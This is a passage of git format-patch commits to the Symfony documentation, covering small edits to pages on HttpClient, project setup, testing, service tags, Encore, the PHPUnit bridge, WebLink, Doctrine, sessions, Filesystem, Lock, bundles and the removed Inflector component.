 You can also use the :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions`
 method to retrieve a new instance of the client with new default options::
 
-        $this->client = $client->withOptions([
-            'base_uri' => 'https://...',
-            'headers' => ['header-name' => 'value0, value1, ...']
-        ]);
+    $this->client = $client->withOptions([
+        'base_uri' => 'https://...',
+        'headers' => ['header-name' => 'header-value']
+    ]);
 
 .. versionadded:: 5.3
 
-    The :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions` method was introduced in Symfony 5.3.
+    The ``withOptions()`` method was introduced in Symfony 5.3.
 
 Some options are described in this guide:
 

From 68c51c3cee07b7dfee6b04bc9643c88c3ab8bb81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 11:41:43 +0200
Subject: [PATCH 2229/7107] Fixed composer require for Symfoyn 5.4

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index bca61758e65..56ae4074f31 100644
--- a/setup.rst
+++ b/setup.rst
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton:"5.4.x@dev" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/skeleton:"5.4.x@dev" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 10244ba570324e6bf6c2da06e2fc0b2a60d723fa Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 25 May 2021 12:19:34 +0200
Subject: [PATCH 2230/7107] Fix section hierarchy in testing article

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index ac92f8afda4..509fa24db90 100644
--- a/testing.rst
+++ b/testing.rst
@@ -573,7 +573,7 @@ will no longer be followed::
 .. _testing_logging_in_users:
 
 Logging in Users (Authentication)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.................................
 
 .. versionadded:: 5.1
 

From a119507a1bfea9f708255aa49a54615053d6c37b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 13:26:43 +0200
Subject: [PATCH 2231/7107] [DependencyInjection] Remove a redundant table in
 DIC tags article

---
 reference/dic_tags.rst | 45 ++----------------------------------------
 1 file changed, 2 insertions(+), 43 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 7bb0aca674e..b9dea8349d0 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -5,49 +5,8 @@ Built-in Symfony Service Tags
 :doc:`DependencyInjection component </components/dependency_injection>` to flag
 services that require special processing, like console commands or Twig extensions.
 
-These are the most common tags provided by Symfony components, but in your
-application there could be more tags available provided by third-party bundles:
-
-========================================  ========================================================================
-Tag Name                                  Usage
-========================================  ========================================================================
-`auto_alias`_                             Define aliases based on the value of container parameters
-`console.command`_                        Add a command
-`container.hot_path`_                     Add to list of always needed services
-`controller.argument_value_resolver`_     Register a value resolver for controller arguments such as ``Request``
-`data_collector`_                         Create a class that collects custom data for the profiler
-`doctrine.event_listener`_                Add a Doctrine event listener
-`doctrine.event_subscriber`_              Add a Doctrine event subscriber
-`form.type`_                              Create a custom form field type
-`form.type_extension`_                    Create a custom "form extension"
-`form.type_guesser`_                      Add your own logic for "form type guessing"
-`kernel.cache_clearer`_                   Register your service to be called during the cache clearing process
-`kernel.cache_warmer`_                    Register your service to be called during the cache warming process
-`kernel.event_listener`_                  Listen to different events/hooks in Symfony
-`kernel.event_subscriber`_                To subscribe to a set of different events/hooks in Symfony
-`kernel.fragment_renderer`_               Add new HTTP content rendering strategies
-`kernel.reset`_                           Allows to clean up services between requests
-`mime.mime_type_guesser`_                 Add your own logic for guessing MIME types
-`monolog.logger`_                         Logging with a custom logging channel
-`monolog.processor`_                      Add a custom processor for logging
-`routing.loader`_                         Register a custom service that loads routes
-`routing.expression_language_provider`_   Register a provider for expression language functions in routing
-`security.expression_language_provider`_  Register a provider for expression language functions in security
-`security.voter`_                         Add a custom voter to Symfony's authorization logic
-`security.remember_me_aware`_             To allow remember me authentication
-`serializer.encoder`_                     Register a new encoder in the ``serializer`` service
-`serializer.normalizer`_                  Register a new normalizer in the ``serializer`` service
-`swiftmailer.default.plugin`_             Register a custom SwiftMailer Plugin
-`templating.helper`_                      Make your service available in PHP templates
-`translation.loader`_                     Register a custom service that loads translations
-`translation.extractor`_                  Register a custom service that extracts translation messages from a file
-`translation.dumper`_                     Register a custom service that dumps translation messages
-`twig.extension`_                         Register a custom Twig Extension
-`twig.loader`_                            Register a custom service that loads Twig templates
-`twig.runtime`_                           Register a lazy-loaded Twig Extension
-`validator.constraint_validator`_         Create your own custom validation constraint
-`validator.initializer`_                  Register a service that initializes objects before validation
-========================================  ========================================================================
+This article shows the most common tags provided by Symfony components, but in
+your application there could be more tags available provided by third-party bundles.
 
 auto_alias
 ----------

From 15df42403a7c125eb7619a4cf7b26d501871a15d Mon Sep 17 00:00:00 2001
From: Marc Straube <email@marcstraube.de>
Date: Fri, 12 Mar 2021 06:20:39 +0100
Subject: [PATCH 2232/7107] Encore: Update 'Fix "Invalid Host header" Issue'.
 Replace deprecated dev-server option "--disable-host-check" with current
 config.

---
 frontend/encore/virtual-machine.rst | 25 +++++++++++++------------
 1 file changed, 13 insertions(+), 12 deletions(-)

diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 40b7ec2d386..23010b9f169 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -96,26 +96,27 @@ Fix "Invalid Host header" Issue
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Webpack will respond ``Invalid Host header`` when trying to access files from
-the dev-server. To fix this, add the argument ``--disable-host-check``:
+the dev-server. To fix this, set the ``firewall`` option:
 
-.. code-block:: diff
+.. code-block:: javascript
 
-      {
-          ...
-          "scripts": {
-    -        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0",
-    +        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0 --disable-host-check",
-              ...
-          }
-      }
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
+
+        .configureDevServerOptions(options => {
+            options.firewall = false;
+        })
 
 .. caution::
 
-    Beware that `it's not recommended to disable host checking`_ in general, but
+    Beware that `it's not recommended to disable the firewall`_ in general, but
     here it's required to solve the issue when using Encore in a virtual machine.
 
 .. _`VirtualBox`: https://www.virtualbox.org/
 .. _`VMWare`: https://www.vmware.com
 .. _`NFS`: https://en.wikipedia.org/wiki/Network_File_System
 .. _`polling`: https://webpack.js.org/configuration/watch/#watchoptionspoll
-.. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck
+.. _`it's not recommended to disable the firewall`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck

From 8e162debd32267b43bcd22308cbb95096d0f906c Mon Sep 17 00:00:00 2001
From: Sylvain Fabre <syl.fabre@gmail.com>
Date: Tue, 2 Feb 2021 13:45:55 +0100
Subject: [PATCH 2233/7107] [PHPUnit-Bridge] Troubleshooting

---
 components/phpunit_bridge.rst | 46 ++++++++++++++++++++++++-----------
 1 file changed, 32 insertions(+), 14 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index e9b98f7501d..0e594c13853 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -789,24 +789,42 @@ namespaces in the ``phpunit.xml`` file, as done for example in the
 
 Under the hood, a PHPUnit listener injects the mocked functions in the tested
 classes' namespace. In order to work as expected, the listener has to run before
-the tested class ever runs. By default, the mocked functions are created when the
-annotation are found and the corresponding tests are run. Depending on how your
-tests are constructed, this might be too late. In this case, you will need to declare
-the namespaces of the tested classes in your ``phpunit.xml.dist``.
+the tested class ever runs.
+
+By default, the mocked functions are created when the annotation are found and
+the corresponding tests are run. Depending on how your tests are constructed,
+this might be too late.
+
+You can either:
+* Declare the namespaces of the tested classes in your ``phpunit.xml.dist``.
+* Register the namespaces at the end of the ``config/bootstrap.php`` file.
 
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <!-- ... -->
-    <listeners>
-        <listener class="Symfony\Bridge\PhpUnit\SymfonyTestsListener">
-                <arguments>
-                    <array>
-                        <element key="time-sensitive"><string>Acme\MyClassTest</string></element>
-                    </array>
-                </arguments>
-            </listener>
-    </listeners>
+    <phpunit
+        bootstrap="config/bootstrap.php"
+    >
+        <!-- ... -->
+        <listeners>
+            <listener class="Symfony\Bridge\PhpUnit\SymfonyTestsListener">
+                    <arguments>
+                        <array>
+                            <element key="time-sensitive"><string>Acme\MyClassTest</string></element>
+                        </array>
+                    </arguments>
+                </listener>
+        </listeners>
+    </phpunit>
+
+.. code-block:: php
+
+    <!-- config/bootstrap.php -->
+    use Symfony\Bridge\PhpUnit\ClockMock;
+    
+    if ('test' === $_SERVER['APP_ENV']) {
+        ClockMock::register('Acme\\MyClassTest\\');
+    }
 
 Modified PHPUnit script
 -----------------------

From ac90ac85c5ed3a8be3d6be2d24218f883c0e0ba9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 16:25:56 +0200
Subject: [PATCH 2234/7107] Minor tweaks

---
 components/phpunit_bridge.rst | 32 +++++++++++++++-----------------
 1 file changed, 15 insertions(+), 17 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 0e594c13853..5be489b2fb2 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -796,32 +796,30 @@ the corresponding tests are run. Depending on how your tests are constructed,
 this might be too late.
 
 You can either:
-* Declare the namespaces of the tested classes in your ``phpunit.xml.dist``.
+
+* Declare the namespaces of the tested classes in your ``phpunit.xml.dist``;
 * Register the namespaces at the end of the ``config/bootstrap.php`` file.
 
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <phpunit
-        bootstrap="config/bootstrap.php"
-    >
-        <!-- ... -->
-        <listeners>
-            <listener class="Symfony\Bridge\PhpUnit\SymfonyTestsListener">
-                    <arguments>
-                        <array>
-                            <element key="time-sensitive"><string>Acme\MyClassTest</string></element>
-                        </array>
-                    </arguments>
-                </listener>
-        </listeners>
-    </phpunit>
+    <!-- ... -->
+    <listeners>
+        <listener class="Symfony\Bridge\PhpUnit\SymfonyTestsListener">
+                <arguments>
+                    <array>
+                        <element key="time-sensitive"><string>Acme\MyClassTest</string></element>
+                    </array>
+                </arguments>
+            </listener>
+    </listeners>
 
-.. code-block:: php
+::
 
-    <!-- config/bootstrap.php -->
+    // config/bootstrap.php
     use Symfony\Bridge\PhpUnit\ClockMock;
     
+    // ...
     if ('test' === $_SERVER['APP_ENV']) {
         ClockMock::register('Acme\\MyClassTest\\');
     }

From 43a2d4640db7a0e7ec6178b90f81675c7fa96fc6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 17:55:32 +0200
Subject: [PATCH 2235/7107] [WebLink] Fixed the preload links

---
 web_link.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/web_link.rst b/web_link.rst
index 1c802a518da..dd8ce736e89 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -62,7 +62,7 @@ correct prioritization and the content security policy:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style' }) }}">
     </head>
 
 If you reload the page, the perceived performance will improve because the
@@ -77,7 +77,7 @@ requested the HTML page.
 
         <head>
             <!-- ... -->
-            <link rel="stylesheet" href="{{ preload(asset('build/app.css')) }}">
+            <link rel="preload" href="{{ preload(asset('build/app.css')) }}">
         </head>
 
 Additionally, according to `the Priority Hints specification`_, you can signal
@@ -87,7 +87,7 @@ the priority of the resource to download using the ``importance`` attribute:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
     </head>
 
 How does it work?
@@ -111,7 +111,7 @@ issuing an early separate HTTP request, use the ``nopush`` option:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
     </head>
 
 Resource Hints
@@ -145,7 +145,7 @@ any link implementing the `PSR-13`_ standard. For instance, any
     <head>
         <!-- ... -->
         <link rel="alternate" href="{{ link('/index.jsonld', 'alternate') }}">
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
     </head>
 
 The previous snippet will result in this HTTP header being sent to the client:

From 9a80b1b8126ea0632edcc9e1b652f662e9345d35 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Wed, 2 Dec 2020 15:43:38 +0100
Subject: [PATCH 2236/7107] Update multiple_entity_managers.rst

---
 doctrine/multiple_entity_managers.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index ba3475dbfbc..5f17e31fd51 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -254,6 +254,17 @@ the default entity manager (i.e. ``default``) is returned::
         }
     }
 
+You can leverage the service binding feature to reference the ``customer``
+entity manager so that you can inject it directly::
+
+    services:
+        _defaults:
+            bind:
+                $customerEntityManager: '@doctrine.orm.customer_entity_manager'
+
+Now type-hint your method with ``EntityManagerInterface $customerEntityManager``
+to inject this second entity manager as dependency.
+
 You can now use Doctrine like you did before - using the ``default`` entity
 manager to persist and fetch entities that it manages and the ``customer``
 entity manager to persist and fetch its entities.

From fc9a9c52311af56b9986abf11ccf779d55a1aba5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 May 2021 12:30:14 +0200
Subject: [PATCH 2237/7107] Tweaks

---
 doctrine/multiple_entity_managers.rst | 14 ++++----------
 1 file changed, 4 insertions(+), 10 deletions(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index ddd33845a52..88ca6bebbd2 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -254,16 +254,10 @@ the default entity manager (i.e. ``default``) is returned::
         }
     }
 
-You can leverage the service binding feature to reference the ``customer``
-entity manager so that you can inject it directly::
-
-    services:
-        _defaults:
-            bind:
-                $customerEntityManager: '@doctrine.orm.customer_entity_manager'
-
-Now type-hint your method with ``EntityManagerInterface $customerEntityManager``
-to inject this second entity manager as dependency.
+Entity managers also benefit from :ref:`autowiring aliases <service-autowiring-alias>`
+when the :ref:`framework bundle <framework-bundle-configuration>` is used. For
+example, to inject the ``customer`` entity manager, type-hint your method with
+``EntityManagerInterface $customerEntityManager``.
 
 You can now use Doctrine like you did before - using the ``default`` entity
 manager to persist and fetch entities that it manages and the ``customer``

From a899dd70678b3434144389bc36afed2b1ee27dd3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 May 2021 12:57:17 +0200
Subject: [PATCH 2238/7107] Tweaks

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4e235e82de0..0f347ead42e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1041,7 +1041,7 @@ config option.
 verify_host
 ...........
 
-**type**: ``boolean``
+**type**: ``boolean`` **default**: ``true``
 
 If ``true``, the certificate sent by other servers is verified to ensure that
 their common name matches the host included in the URL. This is usually

From 3acf948b3d8a4eb7389a8a055bf6479a964d3755 Mon Sep 17 00:00:00 2001
From: Dale Nash <dalenashdn@gmail.com>
Date: Wed, 26 May 2021 12:19:58 +0100
Subject: [PATCH 2239/7107] Update templates.rst

Update docs to provide info on potential new feature found here: https://github.com/symfony/symfony/pull/41414
---
 templates.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/templates.rst b/templates.rst
index de12df7ba13..8500085356b 100644
--- a/templates.rst
+++ b/templates.rst
@@ -489,6 +489,9 @@ provided by Symfony:
                 # the path of the template to render
                 template:  'static/privacy.html.twig'
 
+                # the status code to include in the response headers
+                statusCode: 200
+
                 # special options defined by Symfony to set the page cache
                 maxAge:    86400
                 sharedAge: 86400

From 240ed167ff027baad5198df1c116819ee75558fb Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Wed, 26 May 2021 21:27:16 +0200
Subject: [PATCH 2240/7107] [Session] Update configurations

---
 .../http_foundation/session_configuration.rst | 39 +++++++++++++---
 session.rst                                   | 44 +++++++++++++++++++
 session/database.rst                          | 12 ++---
 3 files changed, 83 insertions(+), 12 deletions(-)

diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index c8b29fb00b4..fdaa7ba7eda 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -29,7 +29,7 @@ All native save handlers are internal to PHP and as such, have no public facing
 They must be configured by ``php.ini`` directives, usually ``session.save_path`` and
 potentially other driver specific directives. Specific details can be found in
 the docblock of the ``setOptions()`` method of each class. For instance, the one
-provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOption>`.
+provided by the Memcached extension can be found on :phpmethod:`php.net <Memcached::setOptions>`.
 
 While native save handlers can be activated by directly using
 ``ini_set('session.save_handler', $name);``, Symfony provides a convenient way to
@@ -170,12 +170,39 @@ collection. That's why Symfony now overwrites this value to ``1``.
 If you wish to use the original value set in your ``php.ini``, add the following
 configuration:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/framework.yaml
-    framework:
-        session:
-            gc_probability: null
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                gc_probability: null
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:session gc_probability="null"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'session' => [
+                'gc_probability' => null,
+            ],
+        ]);
 
 You can configure these settings by passing ``gc_probability``, ``gc_divisor``
 and ``gc_maxlifetime`` in an array to the constructor of
diff --git a/session.rst b/session.rst
index fb9bb81cd8a..6465cdb3b54 100644
--- a/session.rst
+++ b/session.rst
@@ -186,6 +186,50 @@ the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
         session.namespacedattributebag:
             class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
 
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="session" class="Symfony\Component\HttpFoundation\Session\Session" public="true">
+                    <argument type="service" id="session.storage"/>
+                    <argument type="service" id="session.namespacedattributebag"/>
+                    <argument type="service" id="session.flash_bag"/>
+                </service>
+
+                <service id="session.namespacedattributebag"
+                    class="Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag"
+                />
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
+        use Symfony\Component\HttpFoundation\Session\Session;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set('session', Session::class)
+                ->public()
+                ->args([
+                    ref('session.storage'),
+                    ref('session.namespacedattributebag'),
+                    ref('session.flash_bag'),
+                ])
+            ;
+
+            $services->set('session.namespacedattributebag', NamespacedAttributeBag::class);
+        };
+
 .. _session-avoid-start:
 
 Avoid Starting Sessions for Anonymous Users
diff --git a/session/database.rst b/session/database.rst
index 6a69c172c16..8bf72d00768 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -63,8 +63,6 @@ First, define a Symfony service for the connection to the Redis server:
 
     .. code-block:: php
 
-        use Symfony\Component\DependencyInjection\Reference;
-
         // ...
         $container
             // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
@@ -90,7 +88,7 @@ and ``RedisProxy``:
                 arguments:
                     - '@Redis'
                     # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                    # which define the prefix to use for the keys to avoid collision on the Redis server 
+                    # which define the prefix to use for the keys to avoid collision on the Redis server
                     # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                     # - { 'prefix': 'my_prefix', 'ttl': 600 }
 
@@ -101,10 +99,11 @@ and ``RedisProxy``:
             <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
                 <argument type="service" id="Redis"/>
                 <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                     which define the prefix to use for the keys to avoid collision on the Redis server 
+                     which define the prefix to use for the keys to avoid collision on the Redis server
                      and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 <argument type="collection">
                     <argument key="prefix">my_prefix</argument>
+                    <argument key="ttl">600</argument>
                 </argument> -->
             </service>
         </services>
@@ -112,6 +111,7 @@ and ``RedisProxy``:
     .. code-block:: php
 
         // config/services.php
+        use Symfony\Component\DependencyInjection\Reference;
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
 
         $container
@@ -119,7 +119,7 @@ and ``RedisProxy``:
             ->addArgument(
                 new Reference('Redis'),
                 // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                // which define the prefix to use for the keys to avoid collision on the Redis server 
+                // which define the prefix to use for the keys to avoid collision on the Redis server
                 // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 // ['prefix' => 'my_prefix', 'ttl' => 600],
             );
@@ -208,7 +208,7 @@ first register a new handler service with your database credentials:
                     <argument>%env(DATABASE_URL)%</argument>
 
                     <!-- you can also use PDO configuration, but requires passing two arguments: -->
-                    <!-- <argument>mysql:dbname=mydatabase, host=myhost</argument>
+                    <!-- <argument>mysql:dbname=mydatabase; host=myhost; port=myport</argument>
                         <argument type="collection">
                             <argument key="db_username">myuser</argument>
                             <argument key="db_password">mypassword</argument>

From a2dd7eeb0f7c273cfff0cb8247e2f5cd5987f46d Mon Sep 17 00:00:00 2001
From: Roman Martinuk <a100000a@yandex.ru>
Date: Thu, 27 May 2021 18:47:28 +0300
Subject: [PATCH 2241/7107] fix readlink description

readlink() for Windows misleading
---
 components/filesystem.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index d43632b9de6..0c5b56a66b5 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -214,10 +214,7 @@ support symbolic links, a third boolean argument is available::
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` read links targets.
 
-PHP's :phpfunction:`readlink` function returns the target of a symbolic link. However, its behavior
-is completely different under Windows and Unix. On Windows systems, ``readlink()``
-resolves recursively the children links of a link until a final target is found. On
-Unix-based systems ``readlink()`` only resolves the next link.
+PHP's :phpfunction:`readlink` function returns the target of a symbolic link.
 
 The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method provided
 by the Filesystem component always behaves in the same way::

From 2d96ae07b90f8615f2fdac1fbe2e1d27be877a35 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Thu, 27 May 2021 20:44:03 +0200
Subject: [PATCH 2242/7107] [Lock] Remove note about sharing the key

---
 components/lock.rst | 7 +------
 1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 4cd5cdb7726..3789cb5d22a 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -486,12 +486,7 @@ Remote stores (:ref:`MemcachedStore <lock-store-memcached>`,
 :ref:`ZookeeperStore <lock-store-zookeeper>`) use a unique token to recognize
 the true owner of the lock. This token is stored in the
 :class:`Symfony\\Component\\Lock\\Key` object and is used internally by
-the ``Lock``, therefore this key must not be shared between processes (session,
-caching, fork, ...).
-
-.. caution::
-
-    Do not share a key between processes.
+the ``Lock``.
 
 Every concurrent process must store the ``Lock`` in the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.

From a2de717e9c95bcdd51037b7cb5254bbfd1fe42a9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 May 2021 09:23:09 +0200
Subject: [PATCH 2243/7107] Tweak

---
 components/filesystem.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 0c5b56a66b5..d739526b84f 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -214,10 +214,9 @@ support symbolic links, a third boolean argument is available::
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` read links targets.
 
-PHP's :phpfunction:`readlink` function returns the target of a symbolic link.
-
-The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method provided
-by the Filesystem component always behaves in the same way::
+The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method
+provided by the Filesystem component behaves in the same way on all operating
+systems (unlike PHP's :phpfunction:`readlink` function)::
 
     // returns the next direct target of the link without considering the existence of the target
     $filesystem->readlink('/path/to/link');

From c8d56f0c1ec9d8d1bed81e66b15e48013b70ccd5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 May 2021 09:39:27 +0200
Subject: [PATCH 2244/7107] Tweaks

---
 bundles/best_practices.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 55b9a7edf2c..ba0627ecc21 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -22,10 +22,10 @@ interoperability standard for PHP namespaces and class names: it starts with a
 vendor segment, followed by zero or more category segments, and it ends with the
 namespace short name, which must end with ``Bundle``.
 
-A namespace becomes a bundle as soon as you add a bundle class to it. The
-bundle class name must follow these rules:
+A namespace becomes a bundle as soon as you add "a bundle class" to it (which is
+a class that extends :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`).
+The bundle class name must follow these rules:
 
-* Extend Symfony\Component\HttpKernel\Bundle\Bundle
 * Use only alphanumeric characters and underscores;
 * Use a StudlyCaps name (i.e. camelCase with an uppercase first letter);
 * Use a descriptive and short name (no more than two words);
@@ -42,6 +42,9 @@ Namespace                   Bundle Class Name
 ``Acme\BlogBundle``         AcmeBlogBundle
 ==========================  ==================
 
+By convention, the ``getName()`` method of the bundle class should return the
+class name.
+
 .. note::
 
     If you share your bundle publicly, you must use the bundle class name as

From 1d71a6ea12976bda911b45e210802098192f8339 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 May 2021 17:17:39 +0200
Subject: [PATCH 2245/7107] [Inflector] Removed the component

---
 _build/redirection_map         |  1 +
 components/inflector.rst       | 12 ------------
 components/property_access.rst |  4 ++--
 3 files changed, 3 insertions(+), 14 deletions(-)
 delete mode 100644 components/inflector.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 1069505a81a..165e1c96132 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -515,3 +515,4 @@
 /frontend/encore/shared-entry /frontend/encore/split-chunks
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /security/named_encoders /security/named_hashers
+/components/inflector /components/string#inflector
diff --git a/components/inflector.rst b/components/inflector.rst
deleted file mode 100644
index c42d6ebaeaa..00000000000
--- a/components/inflector.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-.. index::
-   single: Inflector
-   single: Components; Inflector
-
-The Inflector Component
-=======================
-
-.. deprecated:: 5.1
-
-    The Inflector component was deprecated in Symfony 5.1 and its code was moved
-    into the :doc:`String </components/string>` component.
-    :ref:`Read the new Inflector docs <string-inflector>`.
diff --git a/components/property_access.rst b/components/property_access.rst
index 9d3f4e355fc..c8b674293a1 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -400,7 +400,7 @@ The PropertyAccess component checks for methods called ``add<SingularOfTheProper
 and ``remove<SingularOfThePropertyName>()``. Both methods must be defined.
